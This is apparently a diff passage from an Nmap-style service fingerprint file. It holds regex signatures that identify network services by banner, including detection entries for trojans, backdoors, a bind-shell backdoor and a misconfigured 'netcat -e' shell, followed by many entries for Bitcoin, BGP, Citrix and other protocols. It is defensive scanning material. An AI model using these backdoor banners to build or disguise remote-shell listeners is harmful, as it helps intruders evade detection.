p/ProRat trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^MZ\x90\0\x03\0\0\0\x04\0\0\0\xff\xff\0\0\xb8\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0fn\0\0\xd0\0\0\0\x0e\x1f\xba\x0e\0\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode\.| p/Korgo worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^\xfa\xcb\xd9\xd9\xdd\xc5\xd8\xce\xd6| p/Theef trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 SSL Connection Established - Loading Protocol\.\.\.\.\r\n| p/dhcpse.exe/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^A-311 Death welcome\x001| p/Haxdoor trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 CAFEiNi [-\w_.]+ FTP server\r\n$| p/CAFEiNi trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m=^220 (?:Stny|fuck)Ftpd 0wns j0\r?\n= p/Kibuv.b worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 [Sf.][tu.][nc.][yk.][F.][t.][p.][d.] [0.][w.][n.][s.] [j.][0.]\r?\n|i p/Generic Kibuv worm/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^exec .* failed : No such file or directory\n$| p/netcat -e/ i/misconfigured/ +match backdoor m=220-Welcome!\r\n220-\x1b\[30m/\x1b\[31m#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4#\xa4# \r\n220-\x1b\[30m\| Current Time: \x1b\[35m[^\r\n]*\r\n220-\x1b\[30m\| Current Date: \x1b\[35m[^\r\n]*\r\n220-\x1b\[30m\\\r\n= p/Windows trojan/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +# https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=733 +match backdoor m|^!\* LOLNOGTFO\nDUP\n| p/Linux.Flooder.SS C&C server/ i/**MALWARE**/ o/Linux/ cpe:/o:linux:linux_kernel/a +match backdoor m|^x0$| p/Blackshades connection port/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^REQF\x0c1\x0c1$| p/Blackshades transfer port/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^DT Key Logger -- Logging System Wide Key Presses\r\n| p/Deep Throat keylogger/ i/**MALWARE**/ +match backdoor m|^:: w4ck1ng-shell \(Private Build v([\w._-]+)\) bind shell backdoor :: \n\n| p/w4ck1ng-shell/ v/$1/ i/**BACKDOOR**/ + +match bandwidth-test m|^\x01\0\0\0$| p/MikroTik bandwidth-test server/ + +match barracuda-dcagent m|^Invalid Client IP\0\0$| p/Barracuda Domain Controller Agent/ +match barracuda-bcp m|^BCP-2\.0-Barracuda\n| p/Barracuda Web Security Gateway clustering protocol/ cpe:/a:barracuda:web_security_gateway/ + +match bas m|^4dc\r\n$| p/Blackberry Administration Service - Native Code Container/ +match bas m|^4fd\r\n$| p/Blackberry Administration Service - Native Code Generator/ +match bas m|^507\r\n$| p/Blackberry Administration Service/ + +match basestation m=^(?:MSG|SEL|ID|AIR|STA|CLK)(?:,[^,\r\n]*){9,21}\r\n= p/ADS-B flight data/ + +# Port 2500: http://wiki.yobi.be/wiki/Belgian_eID +match beidpcscd m|^\0\0\0\x1e\xffV\x92l\xfbUL\x87\xabw\x1f\xb2\n\xd8\xef/\0\0\0\x05Alive\0\0\0\x011| p/beidpcscd Belgian eID daemon/ + +match bf2rcon m|^### Battlefield 2 ModManager Rcon v([\d.]+)\.\n### Digest seed: \w+\n\n| p/Battlefield 2 ModManager Remote Console/ v/$1/ + +match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05| i/connection rejected/ +match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x1d\x01\x04........\0\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05| i/open; connection rejected/ +match bgp m|^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff..\x01\x04| i/open/ + +# https://en.bitcoin.it/wiki/Protocol_specification#Message_structure +# https://en.bitcoin.it/wiki/Protocol_specification#version +# https://en.bitcoin.it/wiki/Changelog + +# Bitcoin "version" message prior to 20 February 2012. +# 4 bytes magic number: "\xf9\xbe\xb4\xd9" +# 12 bytes command: "version\0\0\0\0\0" +# 4 bytes length +# 4 bytes version +# 8 bytes services bitfield: "\x01\0\0\0\0\0\0\0" +# 8 bytes timestamp +# 8 bytes client services count: "\x01\0\0\0\0\0\0\0" +# 16 bytes IPv4-compatible client IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." +# 2 bytes client port +# 8 bytes server services count: "\x01\0\0\0\0\0\0\0" +# 16 bytes IPv4-compatible server IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." +# 2 bytes server port +# 8 bytes random unique id +# 1 byte subversion string length +# variable subversion string +# 4 bytes last block + +# Version 0xc8 -> 200 -> 0.2.0 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x51\0\0\0\xc8\0\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0$|s p/Bitcoin digital currency server/ v/0.2.0/ cpe:/a:bitcoin:bitcoind:0.2.0/ +# Version 0x12c -> 300 -> 0.3.0 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.0/ cpe:/a:bitcoin:bitcoind:0.3.0/ +# Version 0x136 -> 310 -> 0.3.10 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x57\0\0\0\x36\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.10/ cpe:/a:bitcoin:bitcoind:0.3.10/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x57\0\0\0\x36\x01\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.10$1/ cpe:/a:bitcoin:bitcoind:0.3.10$1/ +# Version 0x7bd4 -> 31700 -> 0.3.17 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xd4\x7b\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.17/ cpe:/a:bitcoin:bitcoind:0.3.17/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xd4\x7b\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.17$1/ cpe:/a:bitcoin:bitcoind:0.3.17$1/ +# Version 0x7c38 -> 31800 -> 0.3.18 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x38\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.18/ cpe:/a:bitcoin:bitcoind:0.3.18/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x38\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.18$1/ cpe:/a:bitcoin:bitcoind:0.3.18$1/ +# Version 0x7c9c -> 31900 -> 0.3.19 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x9c\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.19/ cpe:/a:bitcoin:bitcoind:0.3.19/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x9c\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.19$1/ cpe:/a:bitcoin:bitcoind:0.3.19$1/ +# Version 0x7d00 -> 32000 -> 0.3.20 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x00\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20/ cpe:/a:bitcoin:bitcoind:0.3.20/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x00\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.20$1/ cpe:/a:bitcoin:bitcoind:0.3.20$1/ +# Version 0x7d01 -> 32001 -> 0.3.20.1 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x01\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20.1/ cpe:/a:bitcoin:bitcoind:0.3.20.1/ +# Version 0x7d02 -> 32002 -> 0.3.20.2 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x02\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.20.2/ cpe:/a:bitcoin:bitcoind:0.3.20.2/ +# Version 0x7d64 -> 32100 -> 0.3.21 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x64\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.21/ cpe:/a:bitcoin:bitcoind:0.3.21/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x64\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.21$1/ cpe:/a:bitcoin:bitcoind:0.3.21$1/ +# Version 0x7dc8 -> 32200 -> 0.3.22 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xc8\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.22/ cpe:/a:bitcoin:bitcoind:0.3.22/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\xc8\x7d\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.22$1/ cpe:/a:bitcoin:bitcoind:0.3.22$1/ +# Version 0x7e2c -> 32300 -> 0.3.23 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.23/ cpe:/a:bitcoin:bitcoind:0.3.23/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x2c\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.23$1/ cpe:/a:bitcoin:bitcoind:0.3.23$1/ +# Version 0x7e90 -> 32400 -> 0.3.24 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x90\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.24/ cpe:/a:bitcoin:bitcoind:0.3.24/ +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x90\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.24$1/ cpe:/a:bitcoin:bitcoind:0.3.24$1/ + +# https://bitcointalk.org/index.php?topic=55852.0 +# http://bitcoin.org/en/alert/2012-02-18-protocol-change +# "In June 2010 the Bitcoin reference software version 0.2.10 introduced a +# change to the protocol: the 'version' messages exchanged by nodes at +# connection time would have a new format that included checksum values to +# detect corruption by broken networks." + +# Bitcoin "version" message with protocol version 70001 +# https://en.bitcoin.it/wiki/BIP_0037#Extensions_to_existing_messages +# https://en.bitcoin.it/wiki/BIP_0060 "The protocol version was upgraded to +# 70001, and the (now accepted) BIP 0037 became implemented." +# 4 bytes magic number: "\xf9\xbe\xb4\xd9" +# 12 bytes command: "version\0\0\0\0\0" +# 4 bytes length +# 4 bytes checksum +# 4 bytes version "\x71\x11\x01\0" +# 8 bytes services bitfield: "\x01\0\0\0\0\0\0\0" +# 8 bytes timestamp +# 16 bytes IPv4-compatible client IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." +# 2 bytes client port +# 16 bytes IPv4-compatible server IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." +# 2 bytes server port +# 8 bytes nonce +# 1 byte user agent string length +# variable user agent string https://en.bitcoin.it/wiki/BIP_0014 +# 4 bytes last block +# 1 byte relay https://en.bitcoin.it/wiki/BIP_0037#Extensions_to_existing_messages + +# Version numbers now correspond only to protocol changes, not software releases. +# Version 0x011171 -> 70001 0.7.1 +match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0.\0\0\0....\x71\x11\x01\0\0\0\0\0\0\0\0\0........\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff.............../Bitpeer:([\w._-]+)/\0\0\0\0\x01$|s p/Bitpeer/ v/$1/ + +softmatch bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0..\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ cpe:/a:bitcoin:bitcoind/ + +match bitcoin-jsonrpc m|^HTTP/1\.0 401 Authorization Required\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc/([\w._-]+)\r\n|s p/Bitcoin JSON-RPC/ v/$1/ cpe:/a:bitcoin:bitcoind:$1/ +match bitcoin-jsonrpc m|^HTTP/1\.0 401 Authorization Required\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc\r\n|s p/Bitcoin JSON-RPC/ cpe:/a:bitcoin:bitcoind/ +match bitcoin-jsonrpc m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc/([\w._-]+)\r\n|s p/Bitcoin JSON-RPC/ v/$1/ cpe:/a:bitcoin:bitcoind:$1/ +match bitcoin-jsonrpc m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: dash-json-rpc/v(\d[\w._-]+)\r\n|s p/Dash cryptocurrency JSON-RPC/ v/$1/ + +match bitcoin m|^\xbf\x0ck\xbdgetsporks\0\0\0\0\0\0\0\]\xf6\xe0\xe2| p/Dash cryptocurrency server/ i/Bitcoin fork/ + +# Bittorrent Client 3.2.1b on Linux 2.4.X +match bittorrent m|^\x13BitTorrent protocol\0\0\0\0\0\0\0\0| p/Bittorrent P2P client/ +# BMC Software Patrol Agent 3.45 and HP Patrol Agent +match softwarepatrol m|^\0\0\0\x17i\x02\x03..\0\x05\x02\0\x04\x02\x04\x03..\0\x03\x04\0\0\0|s p|BMC/HP Software Patrol Agent| cpe:/a:bmc:patrol_agent/ +match scmbug m|^SCMBUG-SERVER RELEASE_([-\w_.]+) \d+\n| p/Scmbug bugtracker/ v/$1/ + +match bro m|^\0\0\0\x08\x01\0{10}\x11\0\0\0\x07\0\0\x0b\xb8\0\0\0\x1a\0\0..\0\0\0\0\x08\x02...\0{7}mi\x01\0\0\0\x01\x90\x01\0\0\0\0\x10peer_description\x02\0\0\0\0\x01\0{14}\x01\x01\0\0\0\x02\x8a\x01\0\x08\x04\0\x01\0\0\0\0\x01\x01\0\0\0\x03\x8c\x01\0\x01\0\0\0\0\x02\0\0\0\x01\0\x02\x01\x01\0\0\0\x04\x88\x06\0\x01\0\0\0\0\x02\0\0\0\x03bro|s p/Bro IDS control service/ cpe:/a:bro:bro/ + +# Tolis BRU (Backup and Restore Utility) +match bru m|^0x[0-9a-fA-F]{32}L| p/Tolis BRU/ i/Backup and Restore Utility/ + +# Bruker AXS X-ray machines (how cool is that!?!?) (Brandon) +match bruker-axs m|^\[ANGLESTATUS.*\[XYZSTATUS.*\[ZOOMSTATUS.*\[INSTRUMENTSTATUS.*XRAYSON=1|s p/Bruker AXS X-ray controller status/ i/X-rays: On/ d/specialized/ +match bruker-axs m|^\[ANGLESTATUS.*\[XYZSTATUS.*\[ZOOMSTATUS.*\[INSTRUMENTSTATUS.*XRAYSON=0|s p/Bruker AXS X-ray controller status/ i/X-rays: Off/ d/specialized/ + +match buildservice m|^200 HELLO - BuildForge Agent v([\w._-]+)\n| p/BuildForge Agent/ v/$1/ +match buildservice m|^\$\0\0\0\$\0\0\x000RAR\0 \0\0.\xe2\x02\0\xc4G\x0f\0\0\0\0\0\0\0\0\0\0\0\0\0|s p/Xoreax IncrediBuild/ o/Windows/ cpe:/o:microsoft:windows/a + +match burk-autopilot m|^\x19\0\0\0\0\0\x0f\xbeB!\x012\x02\xd1\x02\x032\x02p\0\x062\x02\x80\0$| p/Burk AutoPilot Plus remote management/ d/remote management/ + +match bzfs m|^BZFS\d\d\d\d\0$| p/BZFlag game server/ +match bzfs m|^BZFS\d\d\d\d\r\n\r\n$| p/BZFlag game server/ + +# CA Message Queueing Server (Tom Sellers) +match ca-mq m|^ACK\x01| p/CA Message Queuing Server/ + +match ca-unicenter m|^\x8d\0\0\0\x8d\0\0\0\x100\x81\x89\x02\x81\x81\0.*\x02\x03\x01\0\x01\0$| p/CA Unicenter remote control/ cpe:/a:ca:unicenter_remote_control/ +match caicci m|^\x02\x07\x04\0\xe0\0{11}\x02\0{7}\x04\x03\x02\x010\0{7}\x01\0\0\0\x01\0\0\0\xe0\0{8}\x80\0\0\0\x80\0\0\0ems-p-sp\0{8}\x01\0{10}\x12\x01\0\0EMS-P-SPO-01\0{53}EMS-P-SPO-01\0{55}$| p/CAI-CCI/ +match ccirmtd m|^\x02\x07\x04\0\xe0\0{11}\x02\0{7}\x04\x03\x02\x010\0{7}\x01\0\0\0\x01\0\0\0\xe0\0{8}\x80\0\0\0\x80\0\0\0hfnapp04\0{8}\x01\0{10}\x02\0\0\0HFNAPP04\0{57}HFNAPP04\0{59}$| p/CA Unicenter CCI Remote Daemon/ + +match calibre-json m|^\d+\[\d+, {.*?\"calibre_version\": \[(\d+), (\d+), (\d+)\], .*?\"currentLibraryName\": \"([^"]+)\",| p/Calibre Sync JSON/ v/$1.$2.$3/ i/library name: $4/ cpe:/a:kovid_goyal:calibre:$1.$2.$3/ +match calibre-json m|^\d+\[\d+, {.*?\"currentLibraryName\": \"([^"]+)\",.*?\"calibre_version\": \[(\d+), (\d+), (\d+)\],| p/Calibre Sync JSON/ v/$2.$3.$4/ i/library name: $1/ cpe:/a:kovid_goyal:calibre:$2.$3.$4/ + +# https://github.com/ninjasphere/driver-go-chromecast +# The "@\0" at the end is newer, but no info on why. +match castv2 m|^\0\0\0X\x08\0\x12\x0bTr@n\$p0rt-0\x1a\x0bTr@n\$p0rt-0\"'urn:x-cast:com\.google\.cast\.tp\.heartbeat\(\x002\x0f{\"type\":\"PING\"}$| p/Ninja Sphere Chromecast driver/ +match castv2 m|^\0\0\0Z\x08\0\x12\x0bTr@n\$p0rt-0\x1a\x0bTr@n\$p0rt-0"'urn:x-cast:com\.google\.cast\.tp\.heartbeat\(\x002\x0f\{"type":"PING"\}@\0| p/Ninja Sphere Chromecast driver/ + +match cccam m|^Welcome to the CCcam information client\.\n| p/CCcam DVR card sharing system information/ + + +# http://comments.gmane.org/gmane.comp.security.openvas.users/3189 +# Also submitted by an Nmap user, but with different data following. +match nnsrv m|^\x94\0\0\0\xf4\xff\xff\xff\x01\0\0\0\xff\xff\xff\xff\0\0\0\0\xa5\0\0\0\0\0\0\0| p/iStar Driver Service/ i/access control system/ d/security-misc/ + +match cddbp m|^201 ([-\w_.]+) CDDBP server v([-\w.]+) ready at .*\r\n| p/freedb cddbp server/ v/$2/ h/$1/ + +# http://ceph.com/docs/next/dev/network-protocol/ +# 2 back-to-back struct entity_addr_t, consisting of a u32 type (0), u32 nonce (random), and a sockaddr_storage. +# This works for IPv4, have yet to get an IPv6 fingerprint +match ceph m|^ceph (v[\w._-]+)\0\0\0\0....\0\x02......\0{120}\0\0\0\0....\0\x02......\0{120}|s p/Ceph distributed filesystem/ v/protocol $1/ i/ipv4/ + +match chargen m|^!"#\$%\&'\(\)\*\+,-\./0123456789:;<=>\?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefgh\r\n"#\$%\&'\(\)\*\+,-\./0123456789:;<=>\?\@ABCDEF| p/Linux chargen/ o/Linux/ cpe:/o:linux:linux_kernel/a +# Redhat 7.2, xinetd 2.3.7 chargen +match chargen m|^\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopq\r\n\+,-\./| p/xinetd chargen/ o/Unix/ +# Sun Solaris 9; Windows +match chargen m|^\ !"#\$%&'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_| +# Mandrake Linux 9.2, xinetd 2.3.11 chargen +match chargen m|NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklm| p/xinetd chargen/ o/Unix/ +match chargen m|^\*\*\* Port V([\d.]+) !\"#\$%&'\(\)\*\+,-\./0123456789:| p/Lantronix chargen/ v/$1/ +match chargen m|^The quick brown fox jumps over the lazy dog\. 1234567890\r\n| p/Tektronix Phaser chargen/ d/printer/ + +match chat m|^WebStart Chat Service Established\.\.\.\r\n\(C\) 2000-\d+ R Gabriel all Rights Reserved\r\n| p/WebStart Chat Service/ +match chat m|^\*\x01..\0\x04\0\0\0\x01$|s p/AIM or ICQ server/ +match chat-ctrl m|^InfoChat Server v([\d.]+) Remote Control ready\n\r| p/InfoChat Remote Control/ v/$1/ + +match check_mk m|^<<>>\nVersion: ([\w._-]+)\n| p/check_mk extension for Nagios/ v/$1/ + +match chess m=^\n\r _ __ __ __ \n\r \| \| / /__ / /________ ____ ___ ___ / /_____ \n\r \| \| /\| / / _ \\/ / ___/ __ \\/ __ `__ \\/ _ \\ / __/ __ \\\n\r= p/Lasker Internet Chess server/ + +match chilliworx m|^ChilliSVC ([\d.]+)\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/ChilliWorx management console/ v/$1/ d/remote management/ + +match cirrato-client m|^Cirrato Client ([\w._-]+)\0$| p/Cirrato print server client/ v/$1/ + +# Citadel/UX. Maybe to change the service name and to move somewhere else? embyte +match citadel m|^200.*Citadel(?:/UX)?| p/Citadel (UX) messaging server/ cpe:/a:citadel:ux/ +# Citrix, Metaframe XP on Windows +match citrix-ica m|^\x7f\x7fICA\0\x7f\x7fICA\0| p/Citrix Metaframe XP ICA/ o/Windows/ cpe:/o:microsoft:windows/a +# Citrix MetaFrame XP 1.0 implimented with ClassLink 2000 on NT4 +match citrix-ima m|^.\0\0\0\x81\0\0\0\x01|s p/Citrix Metaframe XP IMA/ o/Windows/ cpe:/o:microsoft:windows/a + +# http://www.citynet.ru/citynet-sv.3 +# Really no idea what this is or which fields are mutable +match citynet m|^CityNetDUTChannel\[AT3V1\]\x04\0\xa5\x0f\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0........|s p/CityNet SV.3/ + +# Length-prefixed Protocol Buffers. This is "UPDATE_TRACK_POSITION" message sent when music is playing. Version is based on protocol version byte. +match clementine m|^\0\0\0.\x08\x0b\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2/ cpe:/a:clementine-player:clementine:1.2/ +match clementine m|^\0\0\0.\x08\x0c\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2.1/ cpe:/a:clementine-player:clementine:1.2.1/ +match clementine m|^\0\0\0.\x08\x0d\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2.2 - 1.2.3/ cpe:/a:clementine-player:clementine:1.2/ +softmatch clementine m|^\0\0\0.\x08.\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ cpe:/a:clementine-player:clementine/ + +match clsbd m|^\0\0\0\x10ClsBoolVersion 1$| p/Cadence IC design daemon/ +match cmrcservice m|^\"\0\0\x80 \0S\0T\0A\0R\0T\0_\0H\0A\0N\0D\0S\0H\0A\0K\0E\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/CmRcService.exe/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a +match cmrcservice m|^,\0\0\x80\*\0E\0R\0R\0O\0R\0_\0N\0O\0_\0A\0C\0T\0I\0V\0E\0_\0U\0S\0E\0R\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/Error: no active user/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a +match cmrcservice 